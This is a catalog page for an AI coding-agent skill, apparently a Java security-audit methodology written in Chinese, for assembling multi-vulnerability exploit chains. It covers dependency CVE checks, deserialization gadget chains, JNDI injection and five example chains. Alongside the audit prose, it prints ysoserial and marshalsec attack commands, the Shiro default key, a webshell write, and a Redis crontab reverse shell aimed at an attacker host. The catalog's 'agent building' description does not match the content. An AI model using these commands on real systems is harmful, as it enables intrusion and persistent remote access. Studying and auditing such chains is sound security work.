
Java Exploit Chain
- 12 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
java-exploit-chain is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- java-exploit-chain
- AI & Agent Building
- AI-coding skill
Java Exploit Chain by the numbers
- 12 all-time installs (skills.sh)
- Ranked #11,618 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill java-exploit-chainAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 12 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Java 漏洞利用链组装
白盒利用链组装 = 在源码层面验证多漏洞串联的可行性。工作范围是: 从已发现的单点漏洞出发,分析它们之间的因果关系和数据流衔接,评估组合后的实际危害等级。构造远程 exploit、发送 payload、绕过 WAF 等运行时黑盒利用技术属于对应 exploit skill 范畴。
深入参考
- 利用链方法论 / 依赖审计表 / Gadget 分析 / 5 种典型链路详解 → references/chain-patterns.md
---
利用链组装原则
三阶段模型: 信息收集(INFO)→ 权限获取(AUTH)→ 代码执行(RCE)
每条利用链按三阶段拆解,每个阶段的输出必须满足下一阶段的前置条件。任何一个环节断裂则链路不成立。
评分规则: 链整体严重度 = 最终效果严重度 x 链路可行性系数(0.6-1.0)
- 全路径可行、无额外条件: 系数 1.0
- 需特定配置或低概率条件: 系数 0.8
- 强环境依赖(特定 JDK 版本、关闭 SecurityManager 等): 系数 0.6
证据要求: 每个环节必须有 EVID 证据支撑(代码位置、配置项、数据流截断点),不可凭推测补全链路。
Maven/Gradle 依赖 CVE 审计
依赖清单提取:
- Maven:
mvn dependency:tree -DoutputType=dot生成完整依赖图 - Gradle:
gradle dependencies --configuration runtimeClasspath列出运行时依赖 - 自动化: OWASP Dependency-Check 插件集成到 CI,生成 HTML/JSON 报告
NVD/GitHub Advisory 交叉比对: 使用 NVD API 或 GitHub Advisory Database 查询依赖的 CPE 匹配 CVE。
关键判断 — 有 CVE 不等于可利用: 1. 版本匹配: 确认项目使用的版本确实在受影响范围内(注意传递依赖可能引入不同版本) 2. 代码路径可达: 漏洞触发代码是否在项目的实际调用链中(依赖了库但未使用漏洞函数则不可利用) 3. 攻击面暴露: 漏洞入口是否对外可达(内部工具类 vs 面向用户的 API)
高频危险依赖: commons-collections 3.x、fastjson <1.2.83、log4j-core 2.0-2.17.0、shiro <1.2.5、struts2 2.0-2.5.30、spring-cloud-gateway <3.1.1、jackson-databind <2.13.4
Gadget Chain 分析方法
- classpath 扫描: 从
pom.xml/build.gradle及WEB-INF/lib确认目标环境中存在哪些可用 Gadget 库及版本 - ysoserial payload 选择: 根据 classpath 依赖匹配可用链(CommonsCollections1-7、BeanShell、Groovy、Spring、Hibernate 等),选择触发效果(命令执行 / JNDI lookup / 文件写入)
- marshalsec 用于 JNDI 利用: 搭建恶意 LDAP/RMI 服务 → 目标 JNDI lookup 触发远程类加载 → RCE;注意 JDK 版本限制
- 自定义 Gadget 发掘: 当标准链不可用时,在项目代码中搜索
readObject/readResolve/readExternal重写,追踪其中的危险操作(反射调用、文件 I/O、Runtime.exec、JNDI lookup),尝试构造项目特有的 Gadget Chain
典型利用链模式(5 种)
| 编号 | 链路 | 最终效果 | 典型系数 |
|---|---|---|---|
| 1 | Actuator 信息泄露 → 密钥提取 → 伪造 JWT → 管理员越权 → RCE | Critical | 0.8 |
| 2 | Shiro RememberMe 默认密钥 → 反序列化 → RCE | Critical | 1.0 |
| 3 | 文件读取(路径穿越) → 配置泄露(DB 凭据) → SQL 注入写文件 → WebShell | Critical | 0.8 |
| 4 | SSRF → 内网服务探测 → 未授权 Redis → 写 crontab → 反弹 Shell | High | 0.6 |
| 5 | SpEL 注入 → RCE(单点链路,条件苛刻需验证 EvaluationContext 类型) | Critical | 0.8 |
每条链的前置条件、完整步骤、证据要求和降级方案详见 chain-patterns.md。
链路可行性验证清单
- [ ] 每一步的前置条件已由上一步的输出满足(数据流可衔接)
- [ ] 网络可达性已确认(防火墙/ACL/安全组不阻断链路中的网络请求)
- [ ] 运行时环境约束已评估(JDK 版本、SecurityManager 是否启用、容器沙箱限制)
- [ ] JDK 版本对 JNDI 远程类加载的限制已考虑(8u121+ RMI / 8u191+ LDAP)
- [ ] 链路中使用的 Gadget Chain 在目标 classpath 中确实存在且版本匹配
- [ ] 降级方案已标注: 某环节不可行时是否存在替代路径(如 RMI 不可用时切换 LDAP/本地 Gadget)
- [ ] 链整体评分已使用
最终效果严重度 x 可行性系数公式计算 - [ ] 所有环节的 EVID 证据已收集完整,无推测性补全
- [ ] 依赖 CVE 审计已完成三步验证(版本匹配 → 代码路径可达 → 攻击面暴露)
检测清单
- [ ] P4 阶段发现的所有漏洞已按攻击阶段(INFO/AUTH/EXEC)分类
- [ ] 漏洞间的因果关系和数据流衔接已分析
- [ ] Maven/Gradle 依赖树已提取并与 NVD/GitHub Advisory 交叉比对
- [ ] 高频危险依赖的版本范围已逐一核查
- [ ] classpath 中可用 Gadget Chain 已扫描确认
- [ ] 所有可行利用链已按模板记录(前置条件 / 步骤 / EVID / 评分)
- [ ] 每条链的可行性系数已根据环境约束合理赋值
- [ ] 不可行链路已标注原因和降级方案
- [ ] 严重度评分与 pipeline 一致
Java 利用链模式参考
---
利用链组装方法论
漏洞攻击阶段分类
| 阶段 | 代号 | 目标 | 典型漏洞类型 |
|---|---|---|---|
| 信息收集 | INFO | 获取内部信息、配置、密钥 | Actuator 暴露、目录遍历、错误信息泄露、源码泄露 |
| 认证突破 | AUTH | 获取合法身份或绕过认证 | JWT 伪造、Shiro 默认密钥、越权访问、Cookie 伪造 |
| 代码执行 | EXEC | 在目标上执行任意代码 | 反序列化 RCE、SpEL 注入、OGNL 注入、命令注入、文件写入 WebShell |
| 持久化 | PERSIST | 维持长期访问 | WebShell 植入、crontab 写入、SSH key 写入、后门账户创建 |
组合规则
利用链的核心逻辑: 前一阶段的输出 = 后一阶段的输入。
- INFO 阶段输出密钥/凭据 → AUTH 阶段用其伪造身份或登录
- AUTH 阶段获得的权限 → 解锁 EXEC 阶段需要的受保护接口
- EXEC 阶段的代码执行能力 → 实现 PERSIST 阶段的持久化写入
链路不要求覆盖所有阶段,但每个环节间的衔接必须有数据流证据。
链路可行性系数表
| 系数 | 条件描述 | 示例 |
|---|---|---|
| 1.0 | 全路径可行,无额外条件,默认配置即可触发 | Shiro 默认密钥 + classpath 存在 CC 链 |
| 0.8 | 需特定配置或低概率条件,但在实际环境中较常见 | Actuator 未加认证(需确认未配置 Spring Security) |
| 0.6 | 强环境依赖,需特定 JDK 版本 / 关闭安全机制 / 特殊网络拓扑 | JNDI 远程类加载需 JDK < 8u191 且无 trustURLCodebase 限制 |
链整体严重度计算:
链严重度 = 最终效果严重度(Critical/High/Medium/Low) x 可行性系数例: 最终效果为 RCE (Critical, 10.0) x 系数 0.8 = 8.0 (High)
---
Maven/Gradle 依赖 CVE 审计
依赖清单提取
Maven:
# 文本树形输出
mvn dependency:tree
# DOT 格式输出(适合工具解析)
mvn dependency:tree -DoutputType=dot -DoutputFile=deps.dot
# 仅运行时依赖
mvn dependency:tree -Dscope=runtimeGradle:
# 运行时 classpath 依赖
gradle dependencies --configuration runtimeClasspath
# 所有配置
gradle dependenciesOWASP Dependency-Check 集成
Maven 插件配置:
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.4.0</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS>
<formats>HTML,JSON</formats>
</configuration>
</plugin>执行: mvn dependency-check:check,生成 target/dependency-check-report.html。
版本范围比对逻辑
1. 从 NVD/GitHub Advisory 获取 CVE 的受影响版本范围(CPE 匹配) 2. 使用 Maven version range 语法比对: [3.0, 3.2.1] 表示 3.0 到 3.2.1 均受影响 3. 注意传递依赖: mvn dependency:tree 输出中标记的间接依赖可能引入不同版本 4. mvn versions:display-dependency-updates 可快速列出有可用更新的依赖
实际可利用性三步验证
| 步骤 | 验证内容 | 方法 |
|---|---|---|
| 1. 版本匹配 | 项目使用版本是否在 CVE 受影响范围内 | 比对 pom.xml / build.gradle 声明版本及实际解析版本 |
| 2. 代码路径可达 | 漏洞触发的具体类/方法是否被项目调用 | 全局搜索漏洞类的 import 和方法调用,追踪调用链 |
| 3. 攻击面暴露 | 漏洞入口是否对外部攻击者可达 | 确认触发路径是否经过认证保护、是否在公开 API 中 |
三步全部通过才标记为"可利用",否则标记为"存在但不可利用"并注明原因。
高频危险依赖速查表
| 依赖 | 危险版本范围 | CVE 示例 | 利用效果 |
|---|---|---|---|
| commons-collections | 3.0 - 3.2.1 | CVE-2015-6420 | RCE (InvokerTransformer Gadget Chain) |
| commons-collections4 | 4.0 | CVE-2015-6420 | RCE (需配合 CommonsCollections2/4 链) |
| commons-beanutils | 1.x (< 1.9.4 配合其他库) | CVE-2019-10086 | RCE (CommonsBeanutils1 链) |
| fastjson | < 1.2.83 | CVE-2022-25845 | RCE (autoType 绕过远程类加载) |
| log4j-core | 2.0 - 2.17.0 | CVE-2021-44228 | RCE (JNDI Lookup 远程类加载) |
| shiro-core | < 1.2.5 | CVE-2016-4437 | RCE (默认 AES 密钥 + 反序列化) |
| struts2-core | 2.0 - 2.5.30 | CVE-2017-5638 等 | RCE (OGNL 表达式注入) |
| spring-cloud-gateway | < 3.1.1 | CVE-2022-22947 | RCE (SpEL 注入 via route actuator) |
| jackson-databind | < 2.13.4 | CVE-2019-12384 等 | RCE (多态反序列化 Gadget) |
| spring-data-commons | < 2.0.6 | CVE-2018-1273 | RCE (SpEL 注入 via property binder) |
| hibernate-core | < 5.4.24 | CVE-2020-25638 | SQL 注入 (HQL 注入) |
---
Gadget Chain 分析
ysoserial 可用 Payload 速查(按依赖分组)
| 依赖库 | ysoserial 链名 | 触发效果 | 备注 |
|---|---|---|---|
| commons-collections 3.1 | CommonsCollections1 | 命令执行 | LazyMap + InvokerTransformer |
| commons-collections 3.1 | CommonsCollections5 | 命令执行 | BadAttributeValueExpException 入口 |
| commons-collections 3.1 | CommonsCollections6 | 命令执行 | HashSet 入口,最稳定 |
| commons-collections 3.1 | CommonsCollections7 | 命令执行 | Hashtable 入口 |
| commons-collections 4.0 | CommonsCollections2 | 命令执行 | PriorityQueue + TransformingComparator |
| commons-collections 4.0 | CommonsCollections4 | 命令执行 | TreeBag 入口 |
| commons-beanutils 1.x + commons-collections | CommonsBeanutils1 | 命令执行 | BeanComparator |
| spring-core + spring-beans | Spring1 | 命令执行 | 需 spring-core 4.x |
| spring-core + spring-aop | Spring2 | 命令执行 | JdkDynamicAopProxy |
| groovy (2.3-2.4) | Groovy1 | 命令执行 | MethodClosure |
| hibernate-core | Hibernate1/2 | 命令执行 | 需 hibernate + javassist/cglib |
| JDK 7u21 | Jdk7u21 | 命令执行 | 无额外依赖,但仅限 JDK 7u21 |
| BeanShell | BeanShell1 | 命令执行 | Interpreter |
| Jython | Jython1 | 命令执行 | PyObject |
| Myfaces | Myfaces1/2 | 命令执行 | 需 myfaces-impl |
使用方法:
java -jar ysoserial.jar CommonsCollections6 "命令" > payload.ser
# Base64 编码用于 HTTP 传输
java -jar ysoserial.jar CommonsCollections6 "命令" | base64marshalsec 用法与 JNDI 利用流程
攻击流程: 1. 编译恶意类: javac Exploit.java,托管到 HTTP 服务器 2. 启动 marshalsec LDAP/RMI 服务:
# LDAP 方式
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://攻击机:8888/#Exploit" 1389
# RMI 方式
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://攻击机:8888/#Exploit" 10993. 触发目标 JNDI lookup: ldap://攻击机:1389/Exploit 或 rmi://攻击机:1099/Exploit 4. 目标从攻击机 HTTP 服务下载恶意类并实例化 → RCE
JDK 版本与 JNDI 远程类加载限制
| JDK 版本 | RMI 远程类加载 | LDAP 远程类加载 | 备注 |
|---|---|---|---|
| < 8u121 | 可用 | 可用 | 无限制 |
| 8u121 - 8u190 | 默认禁用 (trustURLCodebase=false) | 可用 | RMI 需绕过 |
| >= 8u191 | 默认禁用 | 默认禁用 | LDAP 也需绕过 |
| JDK 11+ | 默认禁用 | 默认禁用 | 同 8u191+ |
高版本绕过方法:
- 本地 Class Gadget: 不依赖远程类加载,直接利用目标 classpath 中已有的类(如 Tomcat 的 BeanFactory)
- Tomcat BeanFactory: 通过
javax.el.ELProcessor执行 EL 表达式实现 RCE,目标需部署在 Tomcat 且存在 EL 依赖 - LDAP 返回序列化数据: LDAP 服务返回 javaSerializedData 属性,触发目标反序列化(需目标 classpath 存在可用 Gadget)
- GroovyShell / GroovyClassLoader: 如果目标 classpath 存在 Groovy,可通过 LDAP 返回 Groovy 脚本执行
自定义 Gadget 发掘思路
当 ysoserial 标准链不可用时,从项目自身代码中发掘:
1. 搜索入口: 全局搜索 readObject、readResolve、readExternal 方法重写 2. 追踪危险操作: 在自定义反序列化方法中寻找:
Runtime.exec()/ProcessBuilder— 命令执行Method.invoke()/Class.forName()— 反射调用FileOutputStream/FileWriter— 文件写入InitialContext.lookup()— JNDI 查找Thread.sleep()— 可用于盲注确认
3. 构造调用链: 从可控的序列化字段出发,经过一系列方法调用到达危险操作 4. 注意 `transient` 字段: 标记为 transient 的字段不参与序列化,不可作为输入 5. 检查 `serialVersionUID`: 版本号不匹配会导致反序列化失败
---
5 种典型利用链详解
链 1: Actuator 信息泄露 → JWT 伪造 → 管理员 RCE
前置条件: Spring Boot Actuator 端点未加认证保护,JWT 用于身份认证
完整步骤: 1. [INFO] 访问 /actuator/env,从环境变量中获取 jwt.secret 或 spring.security.oauth2.resourceserver.jwt.secret-key
- EVID: Actuator 端点响应内容包含密钥值
2. [INFO] 访问 /actuator/mappings 获取所有路由映射,识别管理员接口路径
- EVID: mappings 响应中标记的 admin/management 路由
3. [AUTH] 使用泄露的密钥签发管理员角色的 JWT Token
- EVID: 源码中 JWT 解析逻辑确认使用对称密钥且无额外校验(如 jti 黑名单)
4. [EXEC] 携带伪造 Token 调用管理接口(如上传 JAR、执行 SQL、触发任务调度执行命令)
- EVID: 管理接口的具体功能代码确认可达 RCE
最终效果: Critical (RCE) 评分: Critical x 0.8 = 8.0 (Actuator 未认证为配置问题,概率中等)
链 2: Shiro 默认密钥 → 反序列化 → RCE
前置条件: Apache Shiro 框架且使用默认 CookieRememberMeManager 密钥
完整步骤: 1. [INFO] 检测 Shiro 指纹: 请求返回 Set-Cookie: rememberMe=deleteMe 头
- EVID: HTTP 响应头包含 Shiro 特征
2. [INFO] 确认密钥: 源码中搜索 setCipherKey / Base64.decode,检查是否为默认密钥 kPH+bIxk5D2deZiIxcaaaA== 或其他已知密钥
- EVID: 配置类代码中硬编码的密钥值
3. [INFO] classpath Gadget 探测: 检查 pom.xml 中 commons-collections / commons-beanutils 版本
- EVID: 依赖声明及版本号在受影响范围内
4. [EXEC] 使用确认的密钥 + Gadget Chain 生成加密序列化 payload,通过 RememberMe Cookie 发送
- EVID: Shiro 的
AbstractRememberMeManager.onSuccessfulLogin()→encrypt()→CipherService调用链确认数据流
最终效果: Critical (RCE) 评分: Critical x 1.0 = 10.0 (默认密钥 + CC 链在旧项目中极常见)
链 3: 文件读取 → 配置泄露 → 数据库 → WebShell
前置条件: 存在任意文件读取漏洞,数据库用户有 FILE 权限
完整步骤: 1. [INFO] 利用路径穿越读取 ../../application.yml 或 ../../application.properties
- EVID: 文件读取接口的路径拼接代码,确认无路径规范化
2. [INFO] 从配置文件中提取数据库连接信息: spring.datasource.url、username、password
- EVID: 配置文件内容(密码可能加密,需检查是否使用 jasypt 等加密方案)
3. [AUTH] 使用泄露的凭据连接数据库(前提: 数据库端口可达)
- EVID: 网络可达性确认(是否同机部署 / 安全组是否开放端口)
4. [EXEC] MySQL: SELECT ... INTO OUTFILE '/web/root/shell.jsp'; 或 PostgreSQL: COPY ... TO
- EVID: 数据库用户 FILE 权限确认、Web 目录可写性确认、
secure_file_priv配置
最终效果: Critical (WebShell → RCE) 评分: Critical x 0.8 = 8.0 (需数据库 FILE 权限且 Web 目录可写)
链 4: SSRF → 内网探测 → Redis → 反弹 Shell
前置条件: 存在 SSRF 漏洞,内网存在未授权 Redis 服务
完整步骤: 1. [INFO] 利用 SSRF 探测内网服务: 扫描 10.x.x.x / 172.16-31.x.x / 192.168.x.x 常见端口
- EVID: SSRF 漏洞代码(
URL/HttpURLConnection/RestTemplate/HttpClient未限制内网地址)
2. [INFO] 发现内网 Redis (6379 端口无密码): 通过 SSRF 发送 INFO 命令确认
- EVID: SSRF 响应中包含 Redis 版本信息
3. [EXEC] 通过 SSRF 利用 Redis 协议写入 crontab:
CONFIG SET dir /var/spool/cron/CONFIG SET dbfilename rootSET x "\n\n*/1 * * * * bash -i >& /dev/tcp/攻击机/端口 0>&1\n\n"SAVE- EVID: Redis 以 root 运行且可写 cron 目录(或改为写 SSH authorized_keys)
4. [PERSIST] crontab 定时执行反弹 Shell,或 SSH key 写入实现持久登录
- EVID: 目标系统 cron 服务运行中
最终效果: High (内网 RCE,非直接目标 RCE) 评分: High x 0.6 = 4.8 (强环境依赖: SSRF 协议支持、Redis 未授权、root 运行)
降级方案: 若 Redis 有密码或非 root 运行,尝试写 Web 目录下文件(如 PHP/JSP WebShell)
链 5: SpEL 注入 → RCE
前置条件: 用户输入可到达 SpEL 表达式求值上下文
完整步骤: 1. [EXEC] 确认 SpEL 注入点: 搜索 ExpressionParser.parseExpression() / @Value("#{}") / Thymeleaf 预处理 __${...}__
- EVID: 代码中 SpEL 解析方法的调用位置及参数来源
2. [EXEC] 确认 EvaluationContext 类型:
StandardEvaluationContext: 支持类型引用和方法调用,可 RCESimpleEvaluationContext: 受限上下文,无法直接 RCE- EVID: 上下文对象的实例化代码
3. [EXEC] 验证可达性: 从 HTTP 入口到 SpEL 解析的完整调用链是否可达,中间是否有过滤/转义
- EVID: Source → Sink 完整数据流
最终效果: Critical (RCE,但为单点利用) 评分: Critical x 0.8 = 8.0 (需确认 StandardEvaluationContext 且输入可达)
降级场景: 若为 SimpleEvaluationContext,降级为信息泄露(可读取 Bean 属性但无法执行命令),严重度降为 Medium。